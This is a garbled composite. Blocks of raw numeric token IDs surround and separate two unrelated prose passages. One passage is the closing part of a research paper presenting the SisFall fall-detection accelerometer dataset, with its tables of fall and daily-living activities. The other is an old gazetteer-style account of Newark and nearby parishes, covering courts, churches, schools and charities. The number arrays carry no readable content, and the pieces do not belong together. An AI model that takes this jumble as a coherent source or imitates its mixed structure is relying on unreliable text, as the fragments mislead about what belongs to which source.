256, 187, 50276, 37, 746, 50274, 40, 1574, 6923, 1293, 10805, 313, 85, 11729, 281, 3986, 247, 1029, 1789, 10, 50254, 50272, 608, 50270, 805, 256, 187, 187, 8751, 14, 1166, 14, 361, 16903, 14, 85, 4838, 64, 3235, 495, 187, 187, 5146, 2490, 187, 19711, 13, 4898, 285, 2801, 273, 253, 5014, 15, 535, 50266, 30386, 50272, 19711, 50268, 13881, 313, 78, 10, 50275, 25935, 313, 5840, 10, 187, 50276, 9794, 6271, 6557, 6557, 15369, 187, 50276, 38, 39828, 314, 50275, 33090, 50275, 3763, 283, 1976, 50271, 18, 15, 1235, 283, 18, 15, 2090, 50275, 1235, 283, 3547, 187, 50276, 27346, 50272, 1549, 283, 3677, 50275, 18, 15, 3571, 283, 18, 15, 3677, 50275, 3208, 283, 11335, 50272, 187, 50276, 3837, 503, 50273, 33090, 50275, 746, 283, 1229, 50271, 18, 15, 2537, 283, 18, 15, 2090, 50275, 2945, 283, 3571, 187, 50276, 27346, 50272, 746, 283, 1229, 50275, 18, 15 ]

dot2-sensors-17-00198){ref-type="sec"}) presented the same trend of a previous work that included real falls of impaired elderly people \[[@B8-sensors-17-00198]\]. However, the crucial point here are the problems with obtaining real falls from healthy independent elderly people. In our case, we only had permission from the Ethics committee for simulating falls with one participant (SE06). Indeed, this participant always tried to soften the fall (as any person trying to avoid a fall would do). We consider that going farther with a wider and more realistic elderly fall dataset would be extremely challenging. Independent elderly people (the target of this work) fall on average once per year, i.e., to acquire a single fall would require a full year of continuous recording. Moreover, in this way, the actual conditions of the fall (activity, side of falling, etc.) may never be known. Despite these possible biases, we expect that this dataset will be a useful benchmark for other authors to test their own approaches and to solve the open issues presented in this work. 6. Conclusions {#sec6-sensors-17-00198} ============== In this paper we presented and released SisFall, a fall and movement dataset acquired with 38 participants (15 of them elderly people). The data were acquired with an accelerometer fixed to their body. Along with this dataset we demonstrated that a 5 Hz fourth order filter keeps enough information for detecting falls on independent elderly people. Additionally, we showed that (as Bagalá et al. stated for institutionalized impaired elderly people) training fall detection algorithms with young people is not adequate for detecting falls on independent elderly people. The main problem found is that young people simulate falls and ADL with more acceleration than the expected with elderly people. Finally, we showed why finding maximum accuracy in fall detection algorithms is not a good measure for real-life applications, where the sensibility of the system must be fitted to detect falls, while reducing the false positive rate as possible. However, all tested features presented poor results with this requisite. We would like to thank Monica Rodriguez, Camilo Ocampo and Felipe Toro for their collaboration; and to all those anonymous participants, PROSA UDEA, and the Judo and Aikido martial arts groups at the UDEA for their insightful contribution in the generation of the SisFall dataset. We also want to acknowledge the dedication of the reviewers that evaluated this work. This work was supported by the project "Plataforma tecnológica para los servicios de teleasistencia, emergencias médicas, seguimiento y monitoreo permanente a los pacientes y apoyo a los programas de promoción y prevención", code "Ruta-N: FP44842-512C-2013". The following files are available online \[[@B22-sensors-17-00198]\]: **SisFall movement and fall dataset.** Text files with all recorded activities and a Readme with particular information of all subjects and recordings.**Video recordings of all activities.** Each activity included in the SisFall dataset was video recorded and included in this material.**Tables and figures with results of all features.** The same experiments shown along the paper with only five features were performed with the 14 selected for this work. All authors conceived and designed the experiments; A.S. performed the experiments; A.S. and J.D.L. analyzed the data; and all authors read and approved the final manuscript. The authors declare no conflict of interest. The founding sponsors had no role in the design of the study; in the collection, analyses, or interpretation of data; in the writing of the manuscript, and in the decision to publish the results. ![Device used for acquisition. The self-developed embedded device included two accelerometers and a gyroscope. It was fixed to the waist of the participants.](sensors-17-00198-g001){#sensors-17-00198-f001} ![Example of processing and classification. The features are computed after the filtering process of the raw data. (**a**) ADL D11 gives $C_{8}$ values below threshold $T_{1}$ (horizontal **red** line); (**b**) Feature $C_{8}$ crosses the threshold when the fall in activity F05 is detected.](sensors-17-00198-g002){#sensors-17-00198-f002} ![Accuracy obtained in validation after a 10-fold cross-validation without (raw data) and with preprocessing (filtered). Features $C_{2}$ and $C_{8}$ achieved 95.0% and 96.1% of accuracy when the filter was applied, respectively. However, not all features improved their performance after filtering.](sensors-17-00198-g003){#sensors-17-00198-f003} ![Maximum value per activity obtained with $C_{8}$. Most $T_{1}$ threshold crossings (horizontal **red** line) are contained in activities D04, D18 and F11.](sensors-17-00198-g004){#sensors-17-00198-f004} sensors-17-00198-t001_Table 1 ###### Types of falls selected for this work. Code Activity Trials Duration ------ ------------------------------------------------------------------------------------- -------- ---------- F01 Fall forward while walking caused by a slip 5 15 s F02 Fall backward while walking caused by a slip 5 15 s F03 Lateral fall while walking caused by a slip 5 15 s F04 Fall forward while walking caused by a trip 5 15 s F05 Fall forward while jogging caused by a trip 5 15 s F06 Vertical fall while walking caused by fainting 5 15 s F07 Fall while walking, with use of hands in a table to dampen fall, caused by fainting 5 15 s F08 Fall forward when trying to get up 5 15 s F09 Lateral fall when trying to get up 5 15 s F10 Fall forward when trying to sit down 5 15 s F11 Fall backward when trying to sit down 5 15 s F12 Lateral fall when trying to sit down 5 15 s F13 Fall forward while sitting, caused by fainting or falling asleep 5 15 s F14 Fall backward while sitting, caused by fainting or falling asleep 5 15 s F15 Lateral fall while sitting, caused by fainting or falling asleep 5 15 s sensors-17-00198-t002_Table 2 ###### Types of activities of daily living selected for this work. Code Activity Trials Duration ------ ----------------------------------------------------------------------------------------- -------- ---------- D01 Walking slowly 1 100 s D02 Walking quickly 1 100 s D03 Jogging slowly 1 100 s D04 Jogging quickly 1 100 s D05 Walking upstairs and downstairs slowly 5 25 s D06 Walking upstairs and downstairs quickly 5 25 s D07 Slowly sit in a half height chair, wait a moment, and up slowly 5 12 s D08 Quickly sit in a half height chair, wait a moment, and up quickly 5 12 s D09 Slowly sit in a low height chair, wait a moment, and up slowly 5 12 s D10 Quickly sit in a low height chair, wait a moment, and up quickly 5 12 s D11 Sitting a moment, trying to get up, and collapse into a chair 5 12 s D12 Sitting a moment, lying slowly, wait a moment, and sit again 5 12 s D13 Sitting a moment, lying quickly, wait a moment, and sit again 5 12 s D14 Being on one's back change to lateral position, wait a moment, and change to one's back 5 12 s D15 Standing, slowly bending at knees, and getting up 5 12 s D16 Standing, slowly bending without bending knees, and getting up 5 12 s D17 Standing, get into a car, remain seated and get out of the car 5 25 s D18 Stumble while walking 5 12 s D19 Gently jump without falling (trying to reach a high object) 5 12 s sensors-17-00198-t003_Table 3 ###### Age, height and weight of the participants. Sex Age Height (m) Weight (kg) --------- -------- ------------ ------------ ------------- Elderly Female 62--75 1.50--1.69 50--72 Male 60--71 1.63--1.71 56--102 Adult Female 19--30 1.49--1.69 42--63 Male 19--30 1.

[ 34, 1302, 273, 1924, 310, 2918, 407, 253, 40438, 323, 253, 7709, 478, 593, 273, 26757, 281, 253, 2408, 273, 8157, 7554, 28, 12154, 1379, 187, 5070, 42886, 28, 285, 253, 12154, 323, 253, 8307, 273, 187, 4257, 782, 285, 596, 3922, 43626, 403, 2918, 347, 2223, 13, 387, 253, 9635, 187, 24489, 275, 16863, 15353, 15, 380, 9635, 4231, 382, 27619, 2186, 247, 38817, 12426, 327, 17958, 7213, 5210, 11015, 15, 380, 9136, 273, 253, 187, 68, 21597, 6735, 14, 13550, 273, 35699, 13, 4232, 275, 1283, 2504, 13, 9017, 689, 629, 273, 253, 12960, 14, 26613, 84, 273, 35699, 187, 395, 3684, 4714, 15, 380, 3874, 14, 24489, 13, 534, 9572, 275, 253, 187, 16532, 14, 5070, 13, 310, 247, 8805, 1407, 33095, 13, 4270, 407, 253, 13739, 13, 187, 4524, 253, 2221, 565, 423, 566, 273, 2305, 15, 31247, 13, 562, 273, 253, 4711, 273, 43864, 552, 42183, 323, 253, 7756, 273, 253, 187, 10700, 28, 253, 14247, 273, 697, 299, 15831, 369, 8157, 1166, 2270, 13, 285, 767, 187, 88, 723, 452, 1580, 644, 2879, 27, 253, 2316, 908, 323, 25502, 310, 3564, 297, 600, 6699, 15, 187, 187, 510, 25024, 12093, 407, 13782, 1722, 2251, 20046, 13, 273, 187, 4609, 12387, 23, 403, 549, 494, 13, 285, 35302, 48554, 285, 479, 7240, 15, 187, 510, 3811, 310, 247, 15951, 274, 486, 13, 21392, 275, 253, 6963, 434, 5098, 387, 187, 14775, 1797, 15, 608, 15, 374, 8313, 904, 285, 275, 253, 24081, 486, 273, 253, 23392, 28, 2036, 6021, 13, 8157, 25472, 28, 1965, 3225, 2392, 13, 253, 14913, 273, 35459, 285, 187, 783, 22992, 273, 411, 12099, 300, 15681, 15, 380, 6105, 13, 534, 310, 581, 273, 187, 783, 6253, 285, 954, 20654, 275, 253, 18794, 13, 15646, 187, 631, 621, 275, 512, 253, 14957, 273, 4383, 10336, 13, 285, 310, 187, 66, 29325, 4960, 2605, 11253, 273, 247, 295, 1123, 13, 247, 261, 868, 13, 21191, 339, 45276, 13, 40656, 13, 285, 34742, 335, 348, 1544, 13885, 1241, 13, 342, 247, 298, 47218, 10439, 187, 85, 1017, 919, 35758, 407, 247, 4030, 17109, 21805, 653, 603, 15, 380, 2613, 187, 1171, 253, 15469, 310, 22497, 13, 285, 275, 253, 295, 1123, 403, 767, 22497, 187, 2059, 398, 15, 380, 40656, 310, 273, 41128, 789, 43931, 13, 342, 9129, 8805, 285, 29098, 48073, 14883, 1523, 27251, 27, 352, 310, 9070, 432, 253, 295, 1123, 407, 247, 6793, 29098, 3601, 13, 690, 4243, 273, 187, 4609, 13, 7552, 10027, 264, 13, 452, 644, 8379, 516, 15281, 407, 6871, 5248, 723, 13, 253, 789, 273, 271, 9558, 14544, 387, 187, 4257, 782, 15, 496, 436, 629, 273, 253, 1407, 33095, 310, 581, 273, 253, 6253, 187, 1205, 376, 1272, 27188, 265, 275, 253, 18794, 13, 14883, 1523, 34367, 264, 13, 281, 253, 3541, 273, 38266, 17436, 2577, 1251, 13, 665, 4962, 275, 187, 1012, 3832, 27, 247, 5110, 273, 436, 556, 644, 16789, 407, 253, 1072, 187, 435, 382, 15, 380, 1781, 9268, 3497, 310, 275, 253, 1996, 4383, 187, 4826, 13, 285, 253, 268, 4670, 285, 50042, 273, 253, 295, 1123, 285, 40656, 403, 187, 328, 27978, 6793, 15, 1707, 403, 690, 7126, 13751, 273, 187, 31975, 5253, 275, 253, 8323, 15, 380, 30099, 14, 14705, 13, 271, 50063, 13497, 273, 253, 2213, 44639, 273, 418, 25151, 316, 13, 407, 187, 41, 7839, 13, 369, 3559, 407, 253, 9558, 13, 3692, 3392, 369, 247, 187, 23963, 273, 253, 3874, 15, 2828, 6412, 13, 39449, 472, 14, 33151, 13, 187, 11892, 2356, 407, 21729, 275, 1283, 1787, 13, 285, 10804, 14092, 407, 253, 187, 18551, 31134, 273, 2816, 13, 310, 247, 23639, 2605, 275, 253, 187, 18579, 4383, 3740, 13, 285, 4428, 884, 938, 256, 45083, 13, 273, 534, 187, 23695, 403, 1959, 15, 380, 3811, 310, 247, 41510, 1095, 1974, 13, 342, 247, 187, 10582, 1257, 14, 5967, 28, 38412, 13, 2176, 48006, 11162, 407, 187, 783, 4974, 8425, 398, 15, 1707, 403, 5053, 273, 17246, 323, 4214, 285, 3512, 8070, 24425, 1346, 28, 2102, 2008, 592, 28, 36858, 2531, 13, 187, 18204, 1483, 13, 285, 43921, 266, 8378, 1346, 28, 285, 8370, 33097, 27, 253, 34086, 273, 253, 8370, 33097, 13, 9940, 187, 936, 253, 13936, 31465, 13, 369, 6312, 275, 4163, 1283, 1787, 13, 387, 247, 187, 16736, 273, 670, 8157, 26990, 13, 285, 310, 247, 18176, 1407, 33095, 342, 247, 23639, 15469, 15, 187, 187, 510, 7648, 1997, 21089, 2143, 369, 11420, 275, 1458, 1229, 13, 407, 187, 9034, 15, 7195, 18482, 316, 13, 7984, 615, 11660, 273, 253, 5791, 15150, 273, 187, 58, 32753, 13, 285, 247, 7925, 273, 35699, 13, 665, 13, 407, 588, 275, 187, 1010, 1235, 13, 320, 1452, 41746, 13446, 323, 253, 1329, 273, 247, 346, 19221, 273, 187, 1710, 4175, 285, 247, 2143, 273, 4498, 449, 380, 6021, 13, 2408, 272, 281, 4829, 8157, 1348, 361, 13, 310, 3021, 3991, 456, 27, 281, 253, 28146, 2143, 13, 8157, 20256, 28, 281, 253, 4498, 2143, 13, 8157, 10655, 28, 281, 3578, 187, 4093, 272, 8290, 13, 8157, 1787, 15, 1668, 9944, 281, 3872, 6629, 13, 8157, 8970, 28, 281, 247, 187, 14323, 561, 552, 13, 8157, 8970, 28, 281, 253, 45504, 323, 15632, 13, 187, 81, 3292, 13, 285, 11138, 253, 3874, 13, 8157, 22308, 28, 285, 281, 253, 187, 38643, 1034, 561, 323, 253, 8706, 273, 253, 6105, 13, 21334, 434, 285, 187, 339, 28807, 434, 32510, 13, 708, 68, 904, 8157, 22330, 28, 16280, 40514, 557, 67, 9786, 942, 15, 1707, 403, 767, 44742, 273, 8157, 1438, 591, 2459, 360, 187, 14382, 13, 4802, 342, 253, 2143, 13, 534, 403, 4821, 187, 1542, 1264, 1107, 281, 1110, 665, 403, 10544, 281, 731, 15, 8966, 187, 49518, 13, 407, 588, 15483, 4163, 721, 394, 13, 1668, 2055, 13, 320, 1452, 41746, 281, 253, 187, 46723, 318, 8157, 14744, 13, 25091, 253, 4711, 281, 320, 3991, 456, 281, 253, 12153, 285, 1329, 273, 247, 8911, 390, 187, 21107, 2143, 15, 1219, 983, 24761, 323, 25963, 10027, 264, 187, 1206, 3355, 3767, 285, 3578, 5261, 5811, 13, 497, 2975, 11420, 187, 395, 39433, 762, 253, 588, 84, 273, 7252, 38881, 1519, 13, 187, 961, 22442, 13, 15483, 1458, 3208, 13, 285, 6086, 18682, 13, 15483, 187, 1166, 4148, 28, 253, 6021, 310, 8157, 48172, 15, 659, 15, 27708, 434, 4675, 13, 323, 187, 12496, 7732, 13, 369, 11420, 407, 13651, 13, 19520, 273, 15915, 13, 670, 337, 9312, 13, 285, 39433, 342, 13446, 1024, 9603, 247, 19272, 273, 8157, 805, 2950, 15, 25838, 643, 2750, 3518, 13, 187, 19581, 272, 281, 670, 8157, 5388, 591, 2459, 360, 13, 403, 3732, 762, 187, 783, 3884, 273, 19489, 39777, 15, 380, 8083, 273, 35699, 187, 681, 21264, 7584, 1061, 6419, 390, 5053, 13, 273, 534, 2164, 403, 275, 253, 187, 68, 21597, 273, 48586, 13, 285, 2030, 275, 326, 273, 15915, 13, 253, 187, 40338, 4508, 247, 3072, 273, 3435, 13, 16552, 15, 187, 187, 510, 28478, 273, 253, 19887, 2882, 273, 253, 8346, 8099, 13, 187, 4609, 275, 10483, 247, 37039, 2170, 13, 285, 253, 20654, 10105, 13, 187, 3113, 697, 1708, 7753, 967, 50042, 4829, 3962, 13, 534, 310, 187, 3197, 347, 247, 10089, 14, 2484, 45289, 285, 331, 2272, 27, 387, 253, 6146, 14, 26139, 187, 2134, 273, 253, 10439, 2914, 310, 247, 6278, 15469, 13, 285, 275, 253, 187, 1154, 250, 273, 253, 19099, 1529, 28, 253, 4558, 273, 271, 9129, 20280, 403, 7985, 275, 253, 6146, 2914, 15, 4683, 345, 2254, 780, 9195, 627, 403, 642, 20229, 304, 265, 13, 3707, 253, 8099, 187, 1171, 271, 47974, 30867, 552, 13, 534, 556, 644, 11516, 715, 247, 187, 23985, 3485, 14, 5967, 27, 253, 2670, 273, 253, 2419, 273, 2176, 448, 24977, 187, 3225, 6655, 310, 1024, 13598, 407, 247, 1355, 20654, 35390, 15, 187, 25347, 2862, 8370, 209, 10029, 273, 30363, 6149, 13, 6898, 342, 9039, 967, 14910, 285, 39187, 13, 497, 1119, 275, 28063, 323, 253, 187, 14541, 318, 273, 247, 2419, 13, 275, 1283, 1731, 28, 285, 327, 253, 2670, 273, 253, 187, 26689, 13, 625, 685, 2233, 8413, 49004, 452, 644, 25640, 598, 15, 380, 187, 17124, 8370, 3971, 432, 4693, 281, 15915, 4817, 187, 10489, 35699, 28, 285, 275, 247, 4951, 1386, 2822, 253, 6105, 187, 609, 253, 4558, 273, 9129, 4668, 2987, 15, 9658, 296, 187, 783, 43609, 38646, 273, 253, 3874, 778, 320, 41671, 13, 275, 187, 29483, 281, 3196, 15, 18482, 316, 13, 697, 46131, 692, 290, 2750, 5906, 13, 2516, 187, 2906, 42132, 13, 247, 6311, 8406, 327, 9921, 285, 5869, 275, 253, 187, 25512, 16565, 5331, 28, 7195, 5219, 13, 19520, 273, 7993, 24653, 28, 3196, 15, 10315, 8938, 13, 253, 19651, 754, 4946, 382, 28, 285, 187, 23684, 3660, 13156, 1299, 13, 19520, 273, 4051, 47949, 13, 5686, 275, 253, 187, 2913, 1668, 4185, 15, 35699, 1461, 398, 253, 18134, 4060, 273, 657, 2865, 702, 187, 20026, 22992, 3083, 735, 15, 187, 187, 4257, 7187, 69, 313, 998, 15, 26876, 10, 187, 187, 24650, 44976, 37, 313, 998, 15, 26876, 582, 247, 25024, 13, 275, 253, 8083, 187, 1171, 31508, 2205, 13, 388, 4539, 2205, 14, 4678, 11660, 9025, 273, 253, 259, 522, 290, 640, 273, 3972, 394, 408, 13, 444, 15, 15150, 273, 2816, 28, 4508, 898, 3655, 187, 249, 8621, 262, 1103, 13, 273, 5207, 818, 1839, 403, 275, 253, 40707, 273, 3729, 187, 4257, 7187, 69, 13, 577, 6574, 313, 52, 15, 444, 11507, 285, 23540, 275, 326, 273, 3684, 187, 4257, 7187, 69, 13, 577, 8313, 6574, 313, 52, 15, 444, 15, 407, 322, 11507, 432, 15111, 14, 25935, 251, 15, 187, 510, 25024, 12093, 407, 13782, 8988, 1166, 20046, 13, 273, 187, 4609, 6480, 805, 403, 275, 3729, 13, 285, 37400, 275, 3684, 13, 1457, 7187, 69, 13, 253, 3438, 5110, 39288, 549, 494, 2659, 13, 285, 253, 187, 77, 2569, 549, 494, 285, 48554, 13, 734, 1033, 398, 264, 342, 43377, 187, 8186, 569, 28, 253, 2553, 310, 3807, 2907, 13, 253, 8825, 40400, 285, 187, 17676, 652, 13, 285, 253, 38811, 7968, 1452, 15, 380, 4200, 777, 1299, 187, 11807, 13, 25938, 273, 657, 2865, 702, 7667, 1106, 13, 665, 310, 17991, 273, 253, 187, 1342, 263, 273, 3684, 1457, 7187, 69, 13, 497, 20975, 22813, 1060, 15, 187, 510, 3811, 310, 247, 19439, 15951, 274, 486, 13, 275, 253, 24081, 486, 273, 187, 783, 42624, 273, 2816, 13, 21392, 275, 253, 6963, 434, 5098, 387, 187, 14775, 21, 28, 2036, 6021, 13, 8157, 1518, 15, 380, 6105, 310, 247, 29325, 4960, 187, 18317, 13, 40699, 275, 253, 22497, 3740, 13, 342, 21191, 339, 45276, 13, 187, 395, 247, 15469, 11002, 432, 253, 15171, 13, 285, 556, 2067, 187, 257, 16278, 11008, 285, 50042, 28, 1840, 253, 8624, 13032, 187, 261, 247, 5389, 23957, 273, 3824, 12933, 30575, 27, 253, 8266, 310, 2393, 187, 14376, 13, 1095, 8140, 4447, 285, 34367, 264, 15, 3856, 403, 187, 30345, 273, 17246, 323, 43921, 507, 285, 14140, 1483, 8378, 1346, 15, 8157, 2313, 591, 2459, 360, 13, 253, 320, 4557, 273, 7252, 24465, 275, 187, 1166, 1619, 13, 403, 4272, 387, 9449, 2190, 6818, 4105, 187, 49896, 665, 452, 417, 2959, 1061, 3770, 451, 6619, 28, 285, 187, 9088, 403, 690, 5884, 45643, 15, 187, 187, 4257, 2910, 187, 187, 24650, 35, 5626, 13, 247, 10546, 1059, 13, 275, 253, 25024, 273, 659, 1143, 251, 1615, 14, 32512, 11448, 13, 411, 15, 9025, 273, 253, 259, 522, 290, 640, 273, 411, 22194, 2184, 70, 13, 4243, 273, 50178, 13, 8083, 285, 9635, 273, 15915, 13, 187, 21, 8313, 6574, 313, 56, 15, 322, 15, 411, 2698, 432, 253, 3874, 273, 411, 22194, 1615, 28, 4508, 13, 342, 1720, 284, 1615, 13, 2233, 21251, 15, 187, 187, 4257, 2760, 6058, 187, 187, 24650, 35, 2431, 19842, 13, 247, 40707, 13, 275, 253, 25024, 273, 399, 20537, 13, 187, 20172, 273, 7009, 83, 334, 13, 2070, 506, 18588, 13, 444, 15, 9025, 273, 253, 187, 68, 21597, 273, 330, 44113, 13, 495, 12136, 6574, 313, 56, 15, 407, 322, 2698, 432, 7009, 83, 334, 28, 4508, 36076, 21251, 15, 733, 12093, 721, 2357, 187, 317, 373, 13, 273, 534, 6783, 403, 278, 1887, 15, 1623, 253, 12186, 3934, 275, 187, 1166, 3547, 13, 2659, 285, 247, 2583, 7830, 497, 7922, 275, 32470 ]

A court of record is held by the recorder for the cognizance of pleas to the amount of £300; sessions take place quarterly; and the sessions for the hundreds of Newark and Thurgarton are held as often, at the county hall in Cartergate. The county magistrates hold a pettysession on alternate Wednesdays. The powers of the county debt-court of Newark, established in 1847, extend over part of the registration-districts of Newark and Southwell. The town-hall, which stands in the market-place, is a stone edifice, built by the corporation, under the superintendence of Mr. Carr, out of the produce of testamentary estates for the improvement of the town; the expense of its erection was £1790, and two wings have since been added: the room used for assemblies is handsomely finished. The parish comprises by computation 1767 acres, of which 1176 are arable, and 490 pasture and meadow. The living is a vicarage, valued in the king's books at £21. 5. 2½., and in the patronage of the Crown; net income, £325; impropriators, the Duke of Newcastle and the Earl of Winchilsea. The church, which is one of the largest and most elegant in the kingdom, exhibits portions in all the styles of English architecture, and is a cruciform structure consisting of a nave, aisles, transepts, choir, and sepulchral chapels, with a lofty western tower surmounted by a fine octagonal spire. The base of the tower is Norman, and in the nave are two Norman piers. The choir is of exquisite workmanship, with ancient stone and oak stalls elaborately carved: it is separated from the nave by a rich oak screen, some parts of which, becoming decayed, have been successfully imitated by iron castings, the work of an artist resident at Newark. In this part of the edifice is one of the largest engraved brasses in the kingdom, elaborately ornamented, to the memory of Allan Flemyng, who died in 1361: a portion of this has been restored by the same artist. The large east window is in the later English style, and the piers and arches of the nave and choir are unusually rich. There are some excellent specimens of stained glass in the windows. The altar-piece, an admirable painting of the Resurrection of Lazarus, by Hilton, was presented by the artist, whose father was a native of the town. Christ Church, Lombard-street, erected by subscription in 1837, and consecrated by the Archbishop of York, is a handsome structure in the early English style, and contains 1020 sittings, of which 340 are free. The living is a perpetual curacy, with a glebe-house; patrons, certain Trustees appointed by the Subscribers. There are places of worship for General and Particular Baptists; Independents; Calvinistic, Primitive, and Wesleyan Methodists; and Roman Catholics: the chapel of the Roman Catholics, dedicated to the Holy Trinity, was completed in July 1837, at a cost of about £3000, and is a neat edifice with a handsome tower. The Free Grammar school was founded in 1530, by Dr. Thomas Magnus, Archdeacon of the East riding of Yorkshire, and a native of Newark, who, by will in 1550, bequeathed lands for the support of a "school of grammar and a school of song." The income, amounting to nearly £2400, is thus appropriated: to the grammar school, £270; to the song school, £105; to ten singing boys, £37. 16.; to national schools, £150; to a dispensary, £150; to the commissioners for lighting, paving, and improving the town, £290; and to the churchwardens for the repair of the church, clerk's and sexton's salaries, &c., £750; besides incidental disbursements. There are two exhibitions of £80 per annum each, connected with the school, which are continued for three years to those who are elected to them. Henry Stone, by will dated July 6th, 1688, bequeathed to the corporation £700, directing the produce to be appropriated to the foundation and support of a Jersey or working school. Almshouses for fourteen decayed tradesmen and ten widows, were respectively founded and endowed under the wills of William Phillipott, merchant, dated 1556, and George Lawrence, dated 1797; the income is £790. St. Leonard's hospital, for four persons, was founded by Alexander, Bishop of Lincoln, about 1125, and endowed with lands now producing a rental of £1246. Various other benefactions, amounting to about £500 per annum, are applied under the direction of charity trustees. The union of Newark comprises 49 parishes or places, of which 24 are in the county of Nottingham, and 25 in that of Lincoln, the whole containing a population of 27,350. The ruins of the castle consist of the outer walls, which inclose a spacious area, and the elegant crypt, with its light groined arches nearly perfect, which is used as a coal-wharf and stables: at the north-east angle of the western front is a square tower, and in the centre of the elevation another; the remains of an ancient portal are visible in the north front. Of conventual buildings there are no vestiges, except the walls of an Augustine Friary, which has been converted into a dwelling-house: the site of the house of certain chantry priests is now occupied by a small elegant mansion. Six entire Roman urns of baked earth, filled with calcined bones and ashes, were found in digging for the foundation of a house, in 1826; and on the site of the castle, more than 100 skeletons have been dug up. The great Roman road from London to Lincoln passed through Newark; and in a straight line near the church are the remains of ancient military works. Amongst the eminent natives of the town may be enumerated, in addition to Dr. Magnus, its munificent benefactor, John Ardern, a learned writer on medicine and surgery in the fifteenth century; Thomas White, Bishop of Peterborough; Dr. Lightfoot, the celebrated Hebraist; and William Warburton, Bishop of Gloucester, born in the year 1698. Newark confers the inferior title of Viscount upon Earl Manvers. Newbald (St. Nicholas) NEWBALD (St. Nicholas), a parish, in the union of Beverley, Hunsley-Beacon division of the wapentake of Harthill, E. riding of York; containing 973 inhabitants, of whom 738 are in the township of North Newbald, 4 miles (S. E.), and 235 in that of South Newbald, 4½ miles (S. E. by S.), from Market-Weighton. The parish comprises by computation 5717 acres, of which 3812 are in North, and 1905 in South, Newbald, the former portion principally arable land, and the latter arable and pasture, interspersed with thriving plantations; the surface is undulated, the soil chalk and gravel, and the scenery picturesque. The Monckton family, ancestors of Viscount Galway, who is lord of the manor of South Newbald, were formerly seated here. The living is a discharged vicarage, in the patronage of the Archbishop of York, valued in the king's books at £4; net income, £200. The church is a cruciform structure, chiefly in the Norman style, with transepts, and a tower rising from the intersection, and has several enriched doors and arches; above the principal entrance is a beautiful statue of Our Saviour: the font is early English, curiously formed and ornamented. Here are places of worship for Wesleyans and Primitive Methodists. £100 per annum, the bequest of William Gill in 1728, are divided at Christmas among twenty poor families who have not received parochial relief; and there are some minor charities. Newball NEWBALL, a hamlet, in the parish of Staintonby-Langworth, W. division of the wapentake of Wraggoe, parts of Lindsey, union and county of Lincoln, 4½ miles (W. S. W.) from the town of Wragby; containing, with Reasby, 100 inhabitants. Newbiggin NEWBIGGIN, a township, in the parish of Dacre, union of Penrith, Leath ward, E. division of the county of Cumberland, 3¾ miles (W. by S.) from Penrith; containing 341 inhabitants. It comprises 677 acres, of which 500 are moor. On the inclosure in 1772, land and a money payment were assigned in lieu

[ 37572, 390, 1537, 320, 12623, 625, 2069, 685, 352, 310, 37572, 15, 1040, 187, 93, 1071, 15, 14161, 27, 20914, 27, 883, 27, 20914, 27, 1093, 1040, 1067, 281, 1611, 64, 4348, 1040, 831, 5569, 1537, 417, 320, 37572, 390, 1537, 320, 12623, 625, 2069, 685, 352, 310, 37572, 15, 1040, 187, 93, 1071, 15, 14161, 27, 27893, 27, 883, 27, 27893, 27, 1093, 1040, 1067, 281, 1611, 64, 4348, 1040, 831, 5569, 1537, 417, 320, 37572, 390, 1537, 320, 12623, 625, 2069, 685, 352, 310, 37572, 15, 1040, 187, 93, 1071, 15, 14161, 27, 34277, 27, 25, 27, 34277, 27, 1166, 1040, 1067, 281, 2873, 911, 64, 4348, 1040, 831, 5569, 1537, 417, 320, 37572, 390, 1537, 320, 12623, 625, 2069, 685, 352, 310, 37572, 15, 1040, 187, 13422, 36304, 187, 187, 49396, 187, 187, 510, 14869, 36413, 187, 187, 19591, 5826, 15, 329, 1077, 13, 1077, 13, 1077, 1781, 9735, 277, 4121, 275, 22668, 1945, 47994, 313, 10383, 608, 16, 23, 29202, 4446, 432, 2639, 10389, 16373, 10, 285, 745, 2799, 84, 247, 12190, 273, 18289, 20193, 24359, 323, 247, 1643, 1897, 15, 831, 369, 2668, 816, 1078, 352, 457, 84, 16018, 13, 534, 369, 671, 247, 4936, 18830, 326, 3047, 1142, 25108, 13, 1690, 1980, 18680, 13, 1705, 562, 281, 1924, 323, 20731, 414, 15, 3954, 247, 25747, 2190, 352, 457, 84, 18903, 13, 253, 2571, 452, 2668, 281, 36267, 275, 10151, 27911, 73, 534, 309, 2868, 6131, 247, 625, 49625, 1728, 323, 253, 26603, 11811, 15, 1779, 857, 32246, 1994, 265, 187, 187, 42675, 13416, 187, 27004, 26051, 6752, 380, 443, 1079, 5901, 3690, 15, 187, 187, 1779, 857, 32246, 1994, 265, 187, 187, 510, 966, 775, 857, 32246, 1994, 265, 8414, 273, 253, 7281, 300, 26093, 528, 49720, 13, 1690, 44470, 13, 10464, 9448, 313, 20237, 13, 1629, 684, 13, 12609, 12306, 13, 285, 3047, 71, 6419, 582, 285, 448, 8032, 11987, 13, 390, 2839, 71, 6419, 15, 329, 11117, 1387, 11616, 625, 685, 18450, 3417, 13, 775, 857, 32246, 1994, 507, 403, 1119, 4768, 253, 1533, 434, 40277, 285, 275, 690, 45199, 12620, 15, 380, 1387, 347, 247, 2644, 310, 7943, 417, 407, 17160, 1025, 5961, 533, 407, 247, 29564, 273, 2602, 13, 12112, 25548, 21817, 342, 1892, 4408, 15, 775, 857, 32246, 1994, 507, 3480, 253, 2329, 14, 14653, 10831, 18676, 1119, 275, 954, 45861, 6773, 13, 285, 3103, 1364, 10831, 14949, 281, 3297, 247, 9599, 15, 11262, 899, 4306, 310, 21075, 407, 1708, 24201, 275, 253, 6728, 13, 534, 476, 19142, 598, 281, 2030, 2558, 273, 247, 35409, 434, 2264, 2133, 2801, 15, 187, 187, 1779, 857, 32246, 1994, 266, 10798, 452, 247, 31084, 502, 25449, 13, 247, 18052, 1963, 908, 275, 31112, 15, 16513, 954, 45861, 49720, 13, 512, 28877, 32246, 1994, 507, 452, 4812, 46960, 15, 2719, 7662, 476, 320, 14246, 532, 274, 528, 313, 15328, 272, 11624, 13, 19836, 253, 346, 78, 693, 13774, 434, 1460, 6628, 3, 1119, 327, 29780, 582, 25898, 532, 274, 528, 313, 22621, 14, 26201, 582, 390, 14246, 729, 400, 532, 274, 528, 313, 909, 5943, 4824, 1561, 253, 3101, 481, 187, 187, 510, 32337, 273, 775, 857, 32246, 1994, 266, 310, 273, 1600, 281, 2923, 8607, 984, 253, 25548, 273, 28877, 32246, 1994, 507, 4428, 15991, 1929, 281, 15582, 253, 3116, 273, 8837, 13, 285, 2923, 310, 6685, 7520, 275, 44470, 15, 380, 1387, 310, 7943, 407, 21927, 1238, 